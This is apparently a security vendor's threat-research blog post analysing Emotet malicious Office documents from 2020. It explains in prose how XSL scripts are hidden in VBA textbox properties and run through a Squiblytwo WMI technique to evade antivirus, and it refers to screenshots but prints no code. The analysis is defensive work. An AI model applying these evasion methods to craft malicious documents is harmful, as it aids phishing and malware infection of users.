Atrás 
Co-authored by Ghanashyam Satpathy and Dagmawi Mulugeta
Summary
Emotet has become one of the world’s most advanced botnets. Like many malware campaigns, Emotet’s primary mode of delivery is phishing emails that download malicious Microsoft Office documents. Furthermore, these documents are often hosted in popular cloud apps like Office 365 and Amazon S3 to increase the chances of a successful lure.
At Netskope, we apply a hybrid approach to malicious Office document detection that leverages a combination of heuristics and supervised machine learning to identify malicious code embedded in documents. In August – September of 2020, we identified Emotet samples that use advanced techniques like (1) constructing a PowerShell script at runtime, (2) constructing WMI namespaces at runtime, and (3) VBA logic obfuscation to evade static and signature-based detections.
On December 9, 2020, Netskope’s Advanced Threat platform detected downloads of multiple novel Emotet samples. These were distributed as Office documents and included additional techniques being used to evade signature-based threat detection. These techniques consisted of an Embedded XSL script and a Squiblytwo Attack. This blog post describes these attack techniques and lists the IOCs associated with the samples.
Analysis
Emotet Office document samples are typically Microsoft Excel spreadsheets or Microsoft Word documents that abuse trusted windows utilities like WMI (Windows Management Instrumentation) to connect to their C&C servers and download their next stage payloads, which have included TrickBot, QBot, and Ryuk. In this section, we explain how two new Emotet samples we discovered in December 2020 (IOCs provided at the end of this document) use new attack techniques to further evade detection. We will use the code extracted from the sample b9c0ade410b564f79bd95febaac9f3f4 throughout this post.
The techniques used in these samples include:
- Embedded XSL script,
- Squiblytwo Attack
Embedded XSL Script
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. The new Emotet samples embedded malicious XSL scripts inside the VBA text control property. VBA control properties are not usually scanned by AVs as this particular VBA stream (“O” stream) does not contain any VBA code. However, these samples store the scripts in control properties before downloading and executing them, as we discuss in the next section. The following screenshot shows the VBA project of one sample. The XSL string can be seen inside the control brraQWKmlhxwEUuD (Textbox) text property.
In the following screenshots, the VBA code extracts the XSL string and saves it to a local file.
